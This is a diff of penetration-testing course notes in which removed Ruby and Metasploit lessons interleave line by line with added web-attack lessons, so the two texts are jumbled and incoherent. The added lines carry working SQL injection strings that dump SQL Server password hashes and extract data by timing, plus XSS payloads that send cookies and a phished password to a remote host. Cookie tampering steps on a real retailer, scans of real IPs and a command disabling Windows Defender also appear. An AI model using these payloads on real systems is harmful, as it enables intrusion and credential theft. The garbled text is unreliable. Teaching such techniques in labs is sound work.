-'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
+http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
-or constant. If it's equal to the other, the 'equal to' operator returns true.
+http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
-'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
+http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
-variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.
+http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
-numberofports = 55
+http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
-puts "number of ports found during scan" if numberofports < 300
+http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
-numberofports = 400
+
-puts "number of ports found during scan" if numberofports < 300
+
-puts "number of ports found during scan" if numberofports == 300
+   We are using a union select statement because we are joining the developer's query with one of our own.
-puts "number of ports found during scan" if numberofports != 300
+   Reference:
    http://www.techonthenet.com/sql/union.php
    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
    It removes duplicate rows between the various SELECT statements.
 
-Example
+   Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 ---------------------------Type This-----------------------------------
-- the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.
+
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
-- This operator is generally used to combine multiple conditions.
+
-- In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the
+
    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
-- following example to understand how this operator works.
+
 ---------------------------Type This-----------------------------------
 
-ports = 100
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
-puts "number of ports found on the network" if ports<100 || ports>200
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
-puts "number of ports found on the network" if ports<100 || ports>75
+http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 
-# unless
+
 
 
-portsbelow1024 = 50
+
-puts "If the ports are below 1024" unless portsbelow1024 < 1000
+
-puts "If the ports are below 1024" unless portsbelow1024 < 1055
+- Another way is to see if you can get the backend to perform an arithmetic function
-puts "If the ports are below 1024" unless portsbelow1024 < 20
+
 ---------------------------Type This-----------------------------------
 
-- The 'unless' keyword is used to do something programmatically unless a condition is true.
+http://45.77.162.239/bookdetail.aspx?id=(2)
 http://45.77.162.239/bookdetail.aspx?id=(4-2)
 http://45.77.162.239/bookdetail.aspx?id=(4-1)
 
-- Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
+
 
-- See the following example to understand how a string is printed 10 times on the screen using a loop.
+http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
 http://45.77.162.239/bookdetail.aspx?id=1*1
-10.times do puts "infosecaddicts" end
+http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
-# Or use the curly braces
+http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
 http://45.77.162.239/bookdetail.aspx?id=2 &0#
 
-10.times {puts "infosecaddicts"}
+
 
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
-- Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
+http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
-working with different data types. Data type conversion is also known as type casting.
+http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
 
 -----------------------------------------------------------------------
 
-- Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
+
-change the value of a constant, you will see a warning message.
+
 # Blind SQL Injection Testing #
 ###############################
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
-- Multiple Line String Variable, Interpolation, and Regular Expressions
+3 - Total Characters
 ---------------------------Type This-----------------------------------
-- A multiple line string variable lets you assign the value to the string variable through multiple lines.
+
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-infosecaddicts = <<mark
+http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
-welcome
+
-to the
+
-best
+Let's go for a quick check to see if it's DBO
-metasploit
+
-course
+
-on the
+
-market
+http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
-mark
+
-puts infosecaddicts
+
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
 
 ---------------------------Type This-----------------------------------
-- Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
+
-it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
+D  - 1st Character
-Examine the following example to understand how interpolation works in Ruby.
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-References:
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
-https://stackoverflow.com/questions/10869264/meaning-of-in-ruby
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
 
 B - 2nd Character
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-a = 4
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-b = 6
+
-puts "a * b = a*b"
+O - 3rd Character
-puts " #{a} * #{b} = #{a*b} "
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-person = "Joe McCray"
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
-puts "IT Security consultant person"
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-puts "IT Security consultant #{person}"
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
-- Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
 
 -----------------------------------------------------------------------
 
 
 
-- Character classes
+
 
-infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
+
-"I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
+
-"I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
+
 # Playing with session cookies #
 ################################
 
-- Arrays, Push and Pop, and Hashes
+
 Step 1: Browse to NewEgg.com
 -------------------------Paste this into Firefox-----------------------------------
-- In the following example, numbers is an array that holds 6 integer numbers.
+https://secure.newegg.com/
 ----------------------------------------------------------------------------------
 
 
-numbers = [2,4,6,8,10,100]
+Step 2: Browse to the shopping cart page NewEgg.com
-puts numbers[0]
+
-puts numbers[4]
+https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
-numbers[2] = 150
+----------------------------------------------------------------------------------
-puts numbers
+
 
 Step 3: View the current session ID
 -------------------------Paste this into Firefox-----------------------------------
 javascript:void(document.write(document.cookie))
-- Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
+------------------------------------------------------------------------------------
 
 Step 4: Go back to the shopping cart page (click the back button)
 ---------------------------------------------------------------------------------
-framework = []
+https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
-framework << "modules"
+---------------------------------------------------------------------------------
-framework << "exploits"
+
-framework << "payloads"
+
-framework.pop
+Step 5: Now let's modify the session ID
-framework.shift
+
 javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
 ------------------------------------------------------------------------------------
-- Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
+
-that is used to access the element.
+
 
 Step 6: Go back to the shopping cart page (click the back button)
-- Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
+---------------------------------------------------------------------------------
-In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
+https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
-respective values: 'what module should you use', 'Windows XP' and 'SSH'.
+---------------------------------------------------------------------------------
 
 
-metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
+
-print metasploit.size
+Step 7: View the current session ID
-print metasploit["microsoft"]
+
-metasploit['microsoft'] = 'redhat'
+javascript:void(document.write(document.cookie))
-print metasploit['microsoft']
+------------------------------------------------------------------------------------
 
 -----------------------------------------------------------------------
 
 ###########################################
-- Writing Ruby Scripts
+# What is XSS                             #
 # http://45.63.104.73/2-Intro_To_XSS.pptx #
 ###########################################
-- Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
+
-this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
+
-someone made to look for a specific port. The port that it is looking for is port 21 FTP.
+
 1. Use Firefox to browse to the following location:
-cd ~/metasploit-framework/modules/auxiliary/scanner/portscan
+
-ls
+
    http://45.63.104.73/xss_practice/
 -----------------------------------------------------------------------
 
    A really simple search page that is vulnerable should come up.
-###########################
+
-# Metasploit Fundamentals #
+
-###########################
+
 
-- Let's take a little look at Metasploit Framework
+
 ---------------------------Type This-----------------------------------
-- First, we should take note of the different directories, the Modular Architecture.
+
    <script>alert('So this is XSS')</script>
-The modules that make up the Modular Architecture are
+
-Exploits
+
-Auxiliary
+
-Payload
+   This should pop-up an alert window with your message in it proving XSS is in fact possible.
-Encoder
+   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
-Nops
+
 
 3. In the search box type:
-Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,
+
 
-are
+   <script>alert(document.cookie)</script>
 -----------------------------------------------------------------------
-Modules
+
-Scripts
+
-Plugins
+   This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
-External
+   Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
-Data
+
-Tools
+
 ---------------------------Type This-----------------------------------
-- Let's take a look inside the Metasploit directory and see what's the
+
    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
-cd ~/toolz/metasploit
+
-ls
+
 
 This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
 
 
-- Now let's take a look inside the Modules directory and see what's there.
+
 ---------------------------Type This-----------------------------------
-cd ~/metasploit-framework/modules
+
-ls
+
 -----------------------------------------------------------------------
 
-
+
-The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
+
-not necessarily need to - have a shell or session started on a machine.
+
 
-The exploits directory has our modules that we need to pop a shell on a box.
+
-The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
+
-like Burp Suite
+
-- Let's take a look at the external directory
+
 ############################
-cd ~/metasploit-framework/external
+
-ls
+
 
 
-- Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
+
 
-cd ~/metasploit-framework/data
+
-ls
+
 ---------------------------Type This-----------------------------------
 
-- For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
+   http://45.63.104.73/xss_practice/
-brute-forcing
+
 
-cd ~/metasploit-framework/data/wordlists
+
-ls
+
 Paste this in the search box
 ----------------------------
-- The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
+
-once a session is created.
+
 ---------------------------Type This-----------------------------------
-cd ~/metasploit-framework/data/meterpreter
+
-ls
+
 password=prompt('Your session is expired. Please enter your password to continue',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
-- The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
+
-like escalating privileges and dumping hashes.
+
 
-These are being phased out, though, and post-exploitation modules are what is being more preferred.
+
-The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll
+
-find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code
+
-for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our
+
-custom shellcode.
+   http://45.63.104.73/xss_practice/passwords.html
 
-The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have
+
-to do with other programs to make things like importing and exporting reports simple.
+
-Now that we have a clear understanding of what all of the different directories house, we can take a closer look at
+###############################################################
-the exploits directory and get a better understanding of how the directory structure is there, so if we make our own
+# Question 1: What is the process that you use when you test? #
-modules we're going to have a better understanding of where everything needs to go.
+###############################################################
 
-cd ~/metasploit-framework/modules/exploits
+Step 1: Automated Testing
-ls
+
 Step 1a: Web Application vulnerability scanners
 -----------------------------------------------
 - Run two (2) unauthenticated vulnerability scans against the target
-- The exploits directory is split up into several different directories, each one housing exploits for different types
+- Run two (2) authenticated vulnerability scans against the target with low-level user credentials
-of systems. I.E. Windows, Unix, OSX, dialup and so on.
+- Run two (2) authenticated vulnerability scans against the target with admin privileges
-Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down
+
-into categories of different types of services/programs, so that you can pick out an exploit specifically for the
+The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
-service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds
+
-for us.
+A good web application vulnerability scanner comparison website is here:
 http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
-cd ~/metasploit-framework/modules/auxiliary/
+
-ls
+
------------------------------------------------------------------------
+Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
 
 When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
-- And a little further into the directory, let's take a look at what's in the scanner directory
+
 
-cd ~/metasploit-framework/modules/auxiliary/scanner/
+Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
-ls
+
 
 Also, be sure to save the scan results and logs. I usually provide this data to the customer.
 
-- And one more folder deeper into the structure, let's take a look in the portscan folder
+
 
-cd ~/metasploit-framework/modules/auxiliary/scanner/portscan
+Step 1b: Directory Brute Forcer
-ls
+-------------------------------
------------------------------------------------------------------------
+I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
 
-- If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open
+
-and report them back to us in a nice, easily readable format.
+
 Step 2: Manual Testing
-cat tcp.rb
+
 Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
 
 Step 2a: Spider/Scan the entire site with Burp Suite
-- Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use
+Save the spider and scan results. I usually provide this data to the customer as well.
-once you have a session on a machine.
+
-Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit
+
-succeeds.
+Step 2b: Browse through the site using the 3 question method
 Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
-cd ~/metasploit-framework/modules/payloads/
+
-ls
+Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
------------------------------------------------------------------------
+
 Here is what I mean:
 http://www.site.com/page.aspx?parametername=parametervalue
-- There are three different types of payloads: single, stagers, and staged. Each type of payload has a different
+
-application for it to be used as.
+When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
-Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you
+
-do everything once you have that shell calling back to you.
+http://www.site.com/page.aspx?parametername=[ payload ]
-Stagers are required for limited payload space so that the victim machine will call back to your attack box to get
+
-the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that
+You need to ensure that you send the payload this way, and like this below:
-much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
+
-to download Stages payloads.
+http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
 
 This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
-- Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
+
-shells.
+
 
-cd singles
+
-cd windows
+
-ls
+
 
 ###########################################
 # Question 2: How much fuzzing is enough? #
-- We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
+###########################################
-see what it actually does.
+There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
 
-cat adduser.rb
+Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
 
 
-Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
+Step 1: Ask yourself the 3 questions per page of the site.
-the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
+
-it gives Windows to add the user to the system.
+Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
 
 Step 3: When you load your fuzz strings - use the following decision tree
-- Stagers just connect to victim machine back to yours to download the Stages payload, usually with a
+
     - Are the fuzz strings causing a default error message (example 404)?
-windows/shell/bind_tcp or windows/shell/reverse_tcp
+        - If this is the case then it is most likely NOT vulnerable
 
-cd ../../stagers
+    - Are the fuzz strings causing a WAF or LB custom error message?
-ls
+        - If this is the case then you need to find an encoding method to bypass
 
 
     - Are the fuzz strings causing an error message that discloses the backend type?
         - If yes, then identify DB type and find correct syntax to successfully exploit
-- Again, we can see that we have stagers for multiple systems and code types.
+        - Some example strings that I use are:
             '
-ls windows/
+            "
------------------------------------------------------------------------
+            ()          <----- Take the parameter value and put it in parenthesis
             (5-1)       <----- See if you can perform an arithmetic function
 
-As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
+
-machine, so we can upload or download our stage payloads and execute commands.
+    - Are the fuzz strings rendering executable code?
-Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
+        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
-our stagers...
+        - Some example strings that I use are:
             <b>hello</b>
-cd ../stages
+            <u>hello</u>
-ls
+            <script>alert(123);</script>
------------------------------------------------------------------------
+            <script>alert(xss);</script>
             <script>alert('xss');</script>
             <script>alert("xss");</script>
-Again, we can see that our stages are coded for particular operating systems and languages.
+
-We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
+
-victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
+
-if any.
+
 # Bug Bounty Programs #
-- Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
+
-already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
+https://medium.com/bugbountywriteup/bug-bounty-hunting-methodology-toolkit-tips-tricks-blogs-ef6542301c65
-so we can impersonate other users on the system in hopes of elevating our privileges.
+
 
-cd ../../../post/
+
-ls
+# Bug Hunter's Methodology #
-cd windows/
+
-ls
+https://www.youtube.com/watch?v=C4ZHAdI8o1w
------------------------------------------------------------------------
+https://www.youtube.com/watch?v=-FAjxUOKbdI
 
 
-Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
+
-the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
+
-escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
+# Log Analysis with Linux command-line tools #
-possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
+
-memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
+The following command line executables are found in the Mac as well as most Linux Distributions.
 
-#################################
+cat –  prints the content of a file in the terminal window
-# Getting start with MSFConsole #
+grep – searches and filters based on patterns
-#################################
+awk –  can sort each row into fields and display only what is needed
 sed –  performs find and replace functions
 sort – arranges output in an order
-cd ~/metasploit-framework/
+uniq – compares adjacent lines and can report, filter or provide a count of duplicates
 
-./msfconsole
+
 ##############
 # Cisco Logs #
 ##############
 
 -----------------------------Type this-----------------------------------------
-# Run any Linux command inside of MSFConsole #
+wget http://45.63.104.73/cisco.log
 -------------------------------------------------------------------------------
 
-Once you are inside of MSFConsole you want to do EVERYTHING
+AWK Basics
-that you'd normally do in your Linux command shell in addition
+----------
-to running Metasploit commands.
+To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
 
 -----------------------------Type this-----------------------------------------
 cat cisco.log | awk '{print $5}' | tail -n 4
-ls
+-------------------------------------------------------------------------------
 
-pwd
+
 
-ping -c1 yahoo.com
+Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
 
-nmap yahoo.com
+-----------------------------Type this-----------------------------------------
 cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
 -------------------------------------------------------------------------------
 
 
 
-- You're on the outside scanning publicly accessable targets.
+While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
 
 -----------------------------Type this-----------------------------------------
----------------------------Type This-----------------------------------
+cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
-use auxiliary/scanner/portscan/tcp
+-------------------------------------------------------------------------------
 
-set RHOSTS 217.108.137.200
+
 
-set PORTS 80,1433,1521,3306,8000,8080,8081,10000
+
 Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
-run
+
 -----------------------------Type this-----------------------------------------
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:
 
 cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
-        - So let's do a quick google search for someone with trace.axd file
+
-        - filetye:axd inurl:trace.axd
+cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
---------------------------Type This-----------------------------------
+
-use auxiliary/scanner/http/     (press the tab key, then press y to look through the http options)
+cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
-----------------------------------------------------------------------
+--------------------------------------------------------------------------------
 
-- Here is an example:
+
 ##################################################################
-use auxiliary/scanner/http/trace_axd
+# Analyzing a PCAP Prads                                         #
 # Note: run as regular user                                      #
-set RHOSTS 207.20.57.112
+##################################################################
 
-set VHOST www.motion-vr.net
+---------------------------Type this as a regular user----------------------------------
 cd ~
-run
+
-----------------------------------------------------------------------
+cd ~/pcap_analysis/prads
 
 wget http://45.63.104.73/suspicious-time.pcap
 
 prads -r suspicious-time.pcap -l prads-asset.log
----------------------------Type This-----------------------------------
+
-use auxiliary/scanner/http/http_version
+
 
-set RHOSTS 45.77.162.239
+cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
 
-set RPORT 80
+cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
 
-run
+cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
-----------------------------------------------------------------------
+
 
 
----------------------------Type This-----------------------------------
+
-use auxiliary/scanner/http/tomcat_enum
+
 ##################################
-set RHOSTS 217.108.137.200
+
 # Note: run as regular user      #
-set RPORT 8080
+
 ---------------------------Type this as a regular user----------------------------------
-run
+
 
 cd ~/pcap_analysis/chaos_reader/
 
-# Exploitation with Metasploit #
+wget http://45.63.104.73/suspicious-time.pcap
 
-Step 1: Disable the firewall on your Windows 10 host
+wget http://45.63.104.73/chaosreader.pl
 
-Step 2: Run your command prompt as an administrator
+
-reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
-Step 3: Restart your computer (I'm sorry - I know this sux!)
+
 cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
-Step 4: Start the vulnerable server (no need to turn on OllyDBG)
+
 
-Step 5: From your CentoS run the following commands
+
 
-cd ~/
+
           ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
-wget https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
+
 ------------------------------------------------------------------------
-unzip ExploitLab.zip
+
 
-cd ExploitLab/4-AttackScripts/
+
 
-vi vulnserv.rb
+
 
-cp vulnserv.rb ~/metasploit-framework/modules/exploits/windows/misc
+
 
-cd ~/metasploit-framework/
+#############################
 # PCAP Analysis with tshark #
-./msfconsole
+# Note: run as regular user #
 #############################
 ---------------------------Type this as a regular user---------------------------------
 cd ~/pcap_analysis/tshark
-use exploit/windows/misc/vulnserv
+
-set PAYLOAD windows/meterpreter/bind_tcp
+wget http://45.63.104.73/suspicious-time.pcap
-set RHOST [CHANGEME-TO-YOUR-WIN10-IP]
+
-set RPORT 9999
+tshark -i ens3 -r suspicious-time.pcap -qz io,phs
-exploit
+
 tshark -r suspicious-time.pcap -qz ip_hosts,tree
 
 tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
 
 tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
 
-###########################
+
-# Client-Side Enumeration #
+tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
-###########################
+
 whois rapidshare.com.eyu32.ru
 
 whois sploitme.com.cn
-********************************** Figure out who and where you are **********************************
+
 tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
 
 tshark -r suspicious-time.pcap -qz http_req,tree
-meterpreter> sysinfo
+
 tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
 
-meterpreter> getuid
+tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
 ------------------------------------------------------------------------